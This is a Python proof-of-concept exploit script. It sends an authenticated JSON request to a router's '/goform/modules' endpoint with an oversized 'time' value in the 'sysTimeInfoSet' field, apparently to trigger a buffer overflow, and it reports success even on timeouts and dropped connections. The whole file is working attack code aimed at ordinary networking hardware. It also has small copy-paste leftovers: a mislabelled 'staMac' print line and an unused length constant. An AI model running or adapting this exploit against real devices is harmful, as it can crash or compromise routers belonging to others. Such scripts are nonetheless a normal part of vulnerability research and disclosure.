#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import json
import requests


HOST = "192.168.0.254"
COOKIE = "W12V3.0_user=mrvkthqukkefo052kg8wvub16fzocwp"

URL = f"http://{HOST}/goform/modules?0.9581565874260067"

OVERFLOW_LEN = 0x2000
TIME_OVERLONG = "2026-04-26-12-00-"+"A"*0x1000

headers = {
    "Accept": "application/json",
    "X-Requested-With": "XMLHttpRequest",
    "User-Agent": (
        "Mozilla/5.0 (Windows NT 10.0; Win64; x64) "
        "AppleWebKit/537.36 (KHTML, like Gecko) "
        "Chrome/113.0.5672.93 Safari/537.36"
    ),
    "Content-Type": "application/json",
    "Origin": f"http://{HOST}",
    "Referer": f"http://{HOST}/index.html?v=4763",
    "Accept-Language": "zh-CN,zh;q=0.9",
    "Cookie": COOKIE,
    "Connection": "close",
}

payload = {
    "sysTimeInfoSet": {
        "type": "manual",
        "time": TIME_OVERLONG,
    }
}

body = json.dumps(payload, separators=(",", ":"), ensure_ascii=False)

print(f"[+] target: {URL}")
print(f"[+] staMac length: {len(TIME_OVERLONG)}")
print(f"[+] body length: {len(body.encode('utf-8'))}")

try:
    requests.post(
        URL,
        headers=headers,
        data=body.encode("utf-8"),
        timeout=10,
    )
    print("[+] PoC sent successfully")
except requests.exceptions.ReadTimeout:
    print("[+] PoC sent successfully")
except requests.exceptions.ConnectionError:
    print("[+] PoC sent successfully")
except requests.exceptions.RequestException as exc:
    print("[!] failed to send PoC")
    print(exc)